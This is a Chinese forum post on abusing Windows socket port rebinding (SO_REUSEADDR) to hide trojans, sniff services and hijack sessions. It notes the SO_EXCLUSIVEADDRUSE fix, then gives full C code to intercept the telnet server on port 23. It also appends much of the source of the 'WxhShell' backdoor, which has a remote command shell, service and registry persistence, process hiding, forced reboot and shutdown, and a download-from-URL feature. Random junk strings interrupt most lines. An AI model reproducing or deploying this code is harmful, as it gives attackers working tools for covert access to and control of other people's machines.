社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 11066阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 0bpl3Fh.v  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8lt P)K4  
#oi4!%*M  
  saddr.sin_family = AF_INET; fdCsn:  
. c+RFX@0  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); LeY\{w  
HT5G HkT  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ])a?ri  
]RQQg,|D  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 A[ZJS   
_#e='~;  
  这意味着什么?意味着可以进行如下的攻击: bI=\n)sEz  
z1F[okLA  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 S~ }?6/G.  
&S<tX]v  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Vrf` :%  
d;(L@9HHD  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Ni{ (=&*=  
RIM"MR9qe=  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  I, .`w/I+  
9+SeG\Th  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 TjlKy  
e0*',  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ZV_Z)<  
h&5H`CR[  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 JMOQDo  
g{f1JTJ7  
  #include \A5cM\-  
  #include p(~>u'c  
  #include n4ce)N@  
  #include    Cfb/f]*M  
  DWORD WINAPI ClientThread(LPVOID lpParam);   lbgnO s,  
  int main() >3X!c"#l  
  { +*d,non6v  
  WORD wVersionRequested; (ZjIwA9>  
  DWORD ret; ?Gj$$IAe  
  WSADATA wsaData; .7Ys@;>B  
  BOOL val; @=b0>^\m  
  SOCKADDR_IN saddr; C&3#'/&  
  SOCKADDR_IN scaddr; #* S0d1  
  int err; )AqM?FE4R  
  SOCKET s; B.K"1o  
  SOCKET sc; Nd#t !=  
  int caddsize; #v')iR"  
  HANDLE mt; X c,UR .  
  DWORD tid;   ^Q4w<sX'  
  wVersionRequested = MAKEWORD( 2, 2 ); 3. Qf^p  
  err = WSAStartup( wVersionRequested, &wsaData ); <Ky\ ^  
  if ( err != 0 ) { s+tS4E?  
  printf("error!WSAStartup failed!\n"); C%"h1zWE:  
  return -1; o~gduNG#  
  } rr*",a"}m  
  saddr.sin_family = AF_INET; r[ ' T.yo  
   f3V&i)w(  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 sxO_K^eD  
#:vosVqG  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); WMZa6cH  
  saddr.sin_port = htons(23); ()(@Qcc  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) C 1|e1  
  { _1dG!!L_  
  printf("error!socket failed!\n"); Yiu)0\ o  
  return -1; R?>a UFM  
  } -t?S:9 [w  
  val = TRUE; g;\zD_":l  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 e&7GW9FSg  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ~VUNN[  
  { PFG):i-?  
  printf("error!setsockopt failed!\n"); Z,,Da|edH  
  return -1; BYVp~!u  
  } ZHICpL  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; v.cB3/$ z  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Gc4N)oq)}b  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 =@binTC4  
cIja^xD  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) %6L!JN  
  {  ~ceGx  
  ret=GetLastError(); gJ c5Y  
  printf("error!bind failed!\n"); mv SNKS  
  return -1; KHcf P7  
  } {.H}+@0  
  listen(s,2); |vTirZP  
  while(1) .-`7Av+7  
  { Rr4r[g#  
  caddsize = sizeof(scaddr); vV#Jl) A  
  //接受连接请求 +tdt>)a  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); (~}yt.7K  
  if(sc!=INVALID_SOCKET) 20 zIO.&o  
  { B HoZ}1_  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); %9-).k  
  if(mt==NULL) QCa$<~c  
  { >efYpd#^  
  printf("Thread Creat Failed!\n"); //Hn[wEOh  
  break; -YA1Uk  
  } Kdx?s;i  
  } ,, ]y 8P  
  CloseHandle(mt); tV*g1)'zX  
  } i layU  
  closesocket(s); _9#4  
  WSACleanup(); (LTm!"Q  
  return 0; U&wVe$  
  }   u+[ZWhKUp  
  DWORD WINAPI ClientThread(LPVOID lpParam) rA8neO)  
  { = Yh>5A  
  SOCKET ss = (SOCKET)lpParam; ^z9ITGB~tV  
  SOCKET sc; m {_\@'q  
  unsigned char buf[4096]; vay_QxB5  
  SOCKADDR_IN saddr; V{{b^y  
  long num; wRnt$ 1  
  DWORD val; e0j*e7$  
  DWORD ret; k-Jj k3  
  //如果是隐藏端口应用的话,可以在此处加一些判断 g?^o++  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   HP. j.  
  saddr.sin_family = AF_INET; 6;I&{9  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); UG&/0{j5XV  
  saddr.sin_port = htons(23); G}BO!Z6  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Tp)-L0kD_k  
  { f*1.Vg0`-  
  printf("error!socket failed!\n"); 2ztP'  
  return -1; bzk@6jR1  
  } 1xL2f&bG  
  val = 100; RQ9fA1YP  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) JT[|l-\zo  
  { '<>pz<c  
  ret = GetLastError(); ,U],Wu)  
  return -1; PM7*@~.  
  } HR\yJt  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) < I8hy$+6  
  { {/XzIOO;b  
  ret = GetLastError(); p!|Wp  
  return -1; >Ah [uM  
  } Eae]s8ek9  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) N=zrY`Vd  
  { 3)atqM)i  
  printf("error!socket connect failed!\n"); %:N5k+}  
  closesocket(sc); L:XnW 1(Or  
  closesocket(ss); oSx]wZZ  
  return -1; $khWu>b  
  } HS="t3  
  while(1) TN.mNl%  
  { 1 q}iUnR  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 eMPi ho  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 zK k;&y|{  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 k~`pV/6  
  num = recv(ss,buf,4096,0); `L]cJ0tAs  
  if(num>0) rzLpVpTaz  
  send(sc,buf,num,0); XlV#)JX  
  else if(num==0) lDCoYX_  
  break; _j}|R(s*+V  
  num = recv(sc,buf,4096,0); vtCt6M  
  if(num>0) vbmi_[,U  
  send(ss,buf,num,0); <^ @1wg  
  else if(num==0) la</IpC  
  break; ,wlF n  
  } XcR2]\  
  closesocket(ss); (O\5gAx  
  closesocket(sc);  zy  
  return 0 ; $FNj>1  
  } ;} Ty b  
Z8z.Xn  
Wf-i)oc4I  
========================================================== 9K@`n:Rw  
7xMvf<1P  
下边附上一个代码,,WXhSHELL g.SFl  
(}V.xi  
========================================================== '.c [7zL  
Ldf<  
#include "stdafx.h" :+bQPzL  
F7Mf>."  
#include <stdio.h> :~~}|Eu  
#include <string.h> c/^} =t(  
#include <windows.h> }XX)U_ x  
#include <winsock2.h> CDK0 $W n  
#include <winsvc.h> ;v^tUyhCb  
#include <urlmon.h> i!*w'[G->Y  
q}*(rR9/Br  
#pragma comment (lib, "Ws2_32.lib") jdK~]eld=  
#pragma comment (lib, "urlmon.lib") )c^Rc9e/  
8uP,#D<wZ  
#define MAX_USER   100 // 最大客户端连接数 GXr9J rs.e  
#define BUF_SOCK   200 // sock buffer K#%L6=t$<  
#define KEY_BUFF   255 // 输入 buffer :p;!\4)u  
Ew*_@hVC  
#define REBOOT     0   // 重启 Oq7M1|{  
#define SHUTDOWN   1   // 关机 V\W?@V9g-  
x{*g^f  
#define DEF_PORT   5000 // 监听端口 kl?U 2A.=  
re2M!m6k5  
#define REG_LEN     16   // 注册表键长度 4`I2tr  
#define SVC_LEN     80   // NT服务名长度 FDbb/6ku  
|cEJRs@B  
// 从dll定义API AA6_D?)vv  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Y}&//S A  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); aqQ YU5l4~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6y)TXp  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 47|Lk]+O  
n;@PaE^8=  
// wxhshell配置信息 W-qec  
struct WSCFG { + 0{m(%i  
  int ws_port;         // 监听端口 Qj.]I0d  
  char ws_passstr[REG_LEN]; // 口令 MRR5j;4GK  
  int ws_autoins;       // 安装标记, 1=yes 0=no $]2srRA^A  
  char ws_regname[REG_LEN]; // 注册表键名 Q>8F&p?R  
  char ws_svcname[REG_LEN]; // 服务名 "9'~6b  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 GbUw:I  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5Ev9u),D+v  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]JVs/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4/;hA z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" jVC`38|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5=WzKM  
!_ZknZTT  
}; 4zkn~oy  
_PLY<i2vr  
// default Wxhshell configuration {_&'tXL  
struct WSCFG wscfg={DEF_PORT, i ?&t@"'  
    "xuhuanlingzhe", twv|,kM  
    1, 48hu=,)81*  
    "Wxhshell", =iW!Mq  
    "Wxhshell", 5%BexIk  
            "WxhShell Service", [fx1H~T<  
    "Wrsky Windows CmdShell Service", }TY}sr  
    "Please Input Your Password: ", b#`XmB  
  1, VkTdpeBV  
  "http://www.wrsky.com/wxhshell.exe", *1"xvle  
  "Wxhshell.exe" ZJ}9g(X..g  
    }; S96H`kedZo  
mFfw*,M  
// 消息定义模块 N[~{'i  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Xb?:dlu3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; tS!Fn Qg4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Veo*-sl  
char *msg_ws_ext="\n\rExit."; _0N=~`'  
char *msg_ws_end="\n\rQuit."; 0zQ"5e?qy  
char *msg_ws_boot="\n\rReboot..."; U_i%@{  
char *msg_ws_poff="\n\rShutdown..."; K&Ner(/X`6  
char *msg_ws_down="\n\rSave to "; Rah"La  
@ x_.  
char *msg_ws_err="\n\rErr!"; 3#N'nhUzA  
char *msg_ws_ok="\n\rOK!"; 1/X@~  
r<VZE bm)  
char ExeFile[MAX_PATH]; Oxo?\ :T  
int nUser = 0; fFDI qX  
HANDLE handles[MAX_USER]; O'm><a>8  
int OsIsNt; O<7Q>m  
t"x 8]Gy  
SERVICE_STATUS       serviceStatus; p4mi\~Q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4wYD-MB  
l r80RL'_  
// 函数声明 .1n=&d|  
int Install(void); 701a%Jq_2  
int Uninstall(void); 1P4cB w%  
int DownloadFile(char *sURL, SOCKET wsh); \d"JYym  
int Boot(int flag); a%| I'r  
void HideProc(void); FvYgpbEZ  
int GetOsVer(void); |osu4=s|  
int Wxhshell(SOCKET wsl); XJg8-)T#  
void TalkWithClient(void *cs); rPhx^ QKH2  
int CmdShell(SOCKET sock); PD #9Z=Hj  
int StartFromService(void); Dl=9<:6FW  
int StartWxhshell(LPSTR lpCmdLine); = og>& K  
KaVNRS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); DJ_[{WAV  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); wcr3ugvT  
s%M#  
// 数据结构和表定义 W*J_PL9j  
SERVICE_TABLE_ENTRY DispatchTable[] = PLD&/SgP*  
{ kw)( "SQ  
{wscfg.ws_svcname, NTServiceMain}, bfo..f-0/Y  
{NULL, NULL} v.iHgh  
}; kN7 J Z12  
_y>mmE   
// 自我安装 SeuC7!q{  
int Install(void) +cH,2^&  
{ di.yh3N$  
  char svExeFile[MAX_PATH]; R[_Q}W'HG  
  HKEY key; (~>uFH  
  strcpy(svExeFile,ExeFile); =MR.*m{  
MoAie|MKe  
// 如果是win9x系统,修改注册表设为自启动 jr/  
if(!OsIsNt) { #(@!:f1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z$g cK>@l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y;Ez|MS   
  RegCloseKey(key); @*?)S{8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /my5s\;s|z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ')R+Z/hG.  
  RegCloseKey(key); w8=&rzr8  
  return 0; Vn&{yCm3  
    } cp1-eR_&  
  } /80H.|8O  
} ]MD,{T9l\>  
else { zM+4<k_dH]  
LZ#=Ks  
// 如果是NT以上系统,安装为系统服务 1O#]qZS}]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7gWT[  
if (schSCManager!=0) j1zrjhXI  
{ jY;T:C-T  
  SC_HANDLE schService = CreateService Wd`*<+t]  
  ( cNbH:r"Ay  
  schSCManager, oW}nr<G{<  
  wscfg.ws_svcname, } 6 ,m2u  
  wscfg.ws_svcdisp, n[S-bzU^t  
  SERVICE_ALL_ACCESS, \;XDPC j  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , VSx9aVPkC  
  SERVICE_AUTO_START, 5!QT }Um  
  SERVICE_ERROR_NORMAL, yv[3&E?  
  svExeFile, ]& 8c 45c  
  NULL, @h&:xA56  
  NULL, rn$G.SMgz  
  NULL, Cn"_x  
  NULL, 1Kjqs)p^  
  NULL ]I,(^Xq3a(  
  ); V0)bPcS/  
  if (schService!=0) ^C=dq(i=[  
  { 2LfiaHO  
  CloseServiceHandle(schService); z`"*60b  
  CloseServiceHandle(schSCManager); jgvzp  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); SND@#?hiO  
  strcat(svExeFile,wscfg.ws_svcname); @V?T'@W7D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Vu`5/QDq  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1Clid\T,o  
  RegCloseKey(key); uTShz3  
  return 0; Z";&1cK  
    } ` 0$i^,}  
  } /0Jf/-}ovn  
  CloseServiceHandle(schSCManager); eA{ nwtN  
} >&DC[)28  
} pV8_i7\  
zq6)jHfq.  
return 1; 9^L{)t>  
} lRk_<A  
mEm=SpO[$o  
// 自我卸载 t[e]AU[}  
int Uninstall(void) $u~*V  
{ ZZ>"LH  
  HKEY key; {|d28!8w  
M(^_/ 1Z  
if(!OsIsNt) { 9 NGKh3V  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U{\9mt7b!  
  RegDeleteValue(key,wscfg.ws_regname); )/t&a$[  
  RegCloseKey(key); (*M*muk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .5"s[(S  
  RegDeleteValue(key,wscfg.ws_regname); .FN;3HU  
  RegCloseKey(key); &SG5 f[  
  return 0; .@Lktc  
  } uTdx`>M,O  
} `fuQ t4  
} T@Bu Fr`]<  
else { _Sg"|g  
gSa!zQN6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {/FdrS  
if (schSCManager!=0) D6dliU?k  
{ Z2U6<4?1%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); upLjkQ)_  
  if (schService!=0) XU`ly3!  
  { &^UT  
  if(DeleteService(schService)!=0) { PNo9.-@G  
  CloseServiceHandle(schService); ^e]O-,UBk  
  CloseServiceHandle(schSCManager); 0HO'%'Ga*  
  return 0; csd9[=HW/Q  
  } eZ oAy[  
  CloseServiceHandle(schService); fikDpR  
  } dWx@<(`OC  
  CloseServiceHandle(schSCManager); VA>0Y  
} p,V%wGM  
} k|czQ"vaI  
zcC:b4  
return 1; <vE|QxpR  
} yH(3 m#  
q@G}Hjn  
// 从指定url下载文件 bv;. 6C(T<  
int DownloadFile(char *sURL, SOCKET wsh) v.- r %j{I  
{ D^QL.Du,  
  HRESULT hr; K'}I?H~P_  
char seps[]= "/"; !4a#);`G  
char *token; S"VO@)d  
char *file; G|*&owJ  
char myURL[MAX_PATH]; 67;6nXG0K  
char myFILE[MAX_PATH]; l^XOW- ;u  
No8-Hm  
strcpy(myURL,sURL); ,(RpBTV  
  token=strtok(myURL,seps); (wFoI}s  
  while(token!=NULL) 27+~!R~Yw  
  { F( 4Ue6R  
    file=token; `g_r<EY8/  
  token=strtok(NULL,seps);  m^\&v0  
  } <-mhz`^  
v}J0j  
GetCurrentDirectory(MAX_PATH,myFILE); fP[S.7F+No  
strcat(myFILE, "\\"); 2FW"uYA;6  
strcat(myFILE, file); 2z.~K&+x  
  send(wsh,myFILE,strlen(myFILE),0); )QW hzY  
send(wsh,"...",3,0); a)4%sX*I  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .EPv4[2%F8  
  if(hr==S_OK) `T+w5ONn  
return 0; Uqz.Q\A  
else QI'-I\Co  
return 1; NiFe#SLA  
.R@s6}C`}=  
} aZ|?i }  
em95ccs'-  
// 系统电源模块 =W;e9 6#  
int Boot(int flag) ubZJUm  
{ bEB2q\|Je  
  HANDLE hToken; 3~Lsa"/  
  TOKEN_PRIVILEGES tkp; c5|sda{  
|g >Q3E  
  if(OsIsNt) { )+"5($~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); aM xd"cTzx  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?K;l 5$?%  
    tkp.PrivilegeCount = 1; jU kxA7 }}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Yg?BcY\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); tUuARo7#  
if(flag==REBOOT) { ${E^OE  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) A|,qjiEJCc  
  return 0; +~BP~  
} 7x=4P|(\}  
else { 0l4f%'f  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >gs_Bzy]  
  return 0; ^Zp  
} 5]GgjQ  
  } -Bl^TT  
  else { BsA'r+ho?H  
if(flag==REBOOT) { ]kXW eY<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) a'`?kBK7`U  
  return 0; Ch3MwM5]  
} ]DU?N7J  
else { _Rb2jq(&0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <[D>[  
  return 0; |AacV  
} RJUIB  
} .heU Ir,  
vBJxhK-  
return 1; TpwN2 =  
}  sa&`CEa  
O_ZYm{T[7  
// win9x进程隐藏模块 : 8j7}'  
void HideProc(void) !Vg=l[  
{ 3z, Ci$[  
$qr6LIKGw  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ZjMnGRP  
  if ( hKernel != NULL ) \@yJbhk  
  { {;E6jw@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); A^p{Cq@E  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9gdK&/ulR  
    FreeLibrary(hKernel); (X Oz0.W  
  } UlXxG|  
>d=pl}-kOQ  
return; UPP"-`t  
} #qmsZHd}b  
SE43C %hv  
// 获取操作系统版本 "/RMIS K[;  
int GetOsVer(void) ~b m'i%$k  
{ TTFs|T6`q  
  OSVERSIONINFO winfo; ~".@;Q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Zhv%mUj~  
  GetVersionEx(&winfo); VH~YwO!x  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :F@Uq<~(  
  return 1; "&/2 @  
  else g`Cv[Pq?at  
  return 0; $/|) ,n  
} \y:48zd  
"oNl!<ep  
// 客户端句柄模块 UKZ )Boo  
int Wxhshell(SOCKET wsl) z6l'v~\  
{ s3nO"~tM  
  SOCKET wsh; ;Vc|3  
  struct sockaddr_in client; In?#?:Q@&  
  DWORD myID; {:("oK6w  
QRK\74'uY  
  while(nUser<MAX_USER) oQ,<Yx%E3  
{ v*qbzW`  
  int nSize=sizeof(client); -aVC`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); UOf\pG  
  if(wsh==INVALID_SOCKET) return 1; 7n.Oem  
 .gmS1ju  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +0z7}u\x  
if(handles[nUser]==0) V" 8 G-dK  
  closesocket(wsh); _<{<b  
else &^DVSVqs^  
  nUser++; @v ^j<B  
  } }mK,Bi?bj  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^g|cRI_"  
s[y.gR.(  
  return 0; ls&H oJ7  
} {QylNC9  
mB"I(>q*M  
// 关闭 socket t"YsIOT:O"  
void CloseIt(SOCKET wsh) !OY}`a(z  
{ tE {M  
closesocket(wsh); e2N K7  
nUser--; d6'G 7'9  
ExitThread(0); pvUV5^B(M  
} jq*`| m;Q  
j}",+H v  
// 客户端请求句柄 pv sa?z;rP  
void TalkWithClient(void *cs) M*ZN]9{^.  
{ Y 0Fq -H  
@`C'tfG/4  
  SOCKET wsh=(SOCKET)cs; D?"P\b[/  
  char pwd[SVC_LEN]; =t)qy5  
  char cmd[KEY_BUFF]; eh<mJL%T  
char chr[1]; :&TM0O  
int i,j; aK - x{  
C$PS@4'U  
  while (nUser < MAX_USER) { 'UWkJ2:!  
{9}CU~R  
if(wscfg.ws_passstr) { oC49c~`8  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  jF0"AA  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RPgz"-  
  //ZeroMemory(pwd,KEY_BUFF); J](NCD  
      i=0; @WS77d~S  
  while(i<SVC_LEN) { 86 e13MF  
;J TY#)Bh  
  // 设置超时 >~rlnRX  
  fd_set FdRead; ERIMz ,  
  struct timeval TimeOut; QwWd"Of  
  FD_ZERO(&FdRead); p? o[+L<  
  FD_SET(wsh,&FdRead); k:run2K  
  TimeOut.tv_sec=8; ;z.niX.fx  
  TimeOut.tv_usec=0; {~F|"v  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @}g3\xLiK  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3MNM<Ih  
C'|9nK$%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -Q@f),  
  pwd=chr[0]; i$<['DY  
  if(chr[0]==0xd || chr[0]==0xa) { 5X)M)"rq;V  
  pwd=0; *$-X&.h[  
  break; =X7kADRq  
  } y< *-&  
  i++; A8vd@0  
    } FUI*nkZY  
gtu<#h(  
  // 如果是非法用户,关闭 socket 4/`;(*]Fv  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Z>g>OPu  
} rx2'].  
|_TI/i>?'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); px K&aY8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "nu]3zcd  
sb{K%xi%  
while(1) { O%\cRn8m  
zvdut ,6<  
  ZeroMemory(cmd,KEY_BUFF); "4\  
7[;!enO  
      // 自动支持客户端 telnet标准   { sC Ni  
  j=0; mW%8`$rVEO  
  while(j<KEY_BUFF) { F6[F~^9D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uW!XzX['  
  cmd[j]=chr[0]; MmjZq  
  if(chr[0]==0xa || chr[0]==0xd) { lxL.ztL  
  cmd[j]=0; ^%9oeT{  
  break; /Rq\Mgb  
  } "x=\mA#`  
  j++; .A<Hk1(-)  
    } t!qLgJ5%y  
%o%V4K*  
  // 下载文件 T{C;bf:Q  
  if(strstr(cmd,"http://")) { 3Vc}Q'&Y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); rV%T+!n%c  
  if(DownloadFile(cmd,wsh)) 6[A\cs  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); mEd2f^R  
  else FHr)xqo=~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /o;L,mcx*  
  } W"vLCHTh  
  else { tjx8 UgSi  
G9Uc }z  
    switch(cmd[0]) { Z\CvaX  
  Ie. on)  
  // 帮助 fasW b&~z  
  case '?': { (O0Ry2u k  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |z=`Ur@)  
    break; ct3i^,i  
  } AuXUD9 -  
  // 安装 z.cDbkf}  
  case 'i': { CXuD%H]tx  
    if(Install()) Yn ~fnI{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c{/R?<  
    else eW(pP>@k,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [_)`G*X(N  
    break; 6AAvsu:  
    } ;b0Q%TDh  
  // 卸载 U~: H>  
  case 'r': { hI86WP9*  
    if(Uninstall()) F0U %m   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }MRgNr'k  
    else >6 o <Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1z6aMd6.  
    break; Z\IM~-  
    } y 9]d{:9  
  // 显示 wxhshell 所在路径 lw9jk`7^  
  case 'p': { ZxnPSA@%  
    char svExeFile[MAX_PATH]; 'lZlfS:Z8  
    strcpy(svExeFile,"\n\r"); ES+ CAwqf  
      strcat(svExeFile,ExeFile); pKc!sd C  
        send(wsh,svExeFile,strlen(svExeFile),0); kBR=a%kG  
    break; EE  1D>I  
    } A?lL K&*  
  // 重启 fg)*TR  
  case 'b': { |:R\j0t  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); I+& T}R  
    if(Boot(REBOOT)) ;\0|1Eem`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '0+I'_(  
    else { ZwMVFC-d  
    closesocket(wsh); 6LDZ|K@  
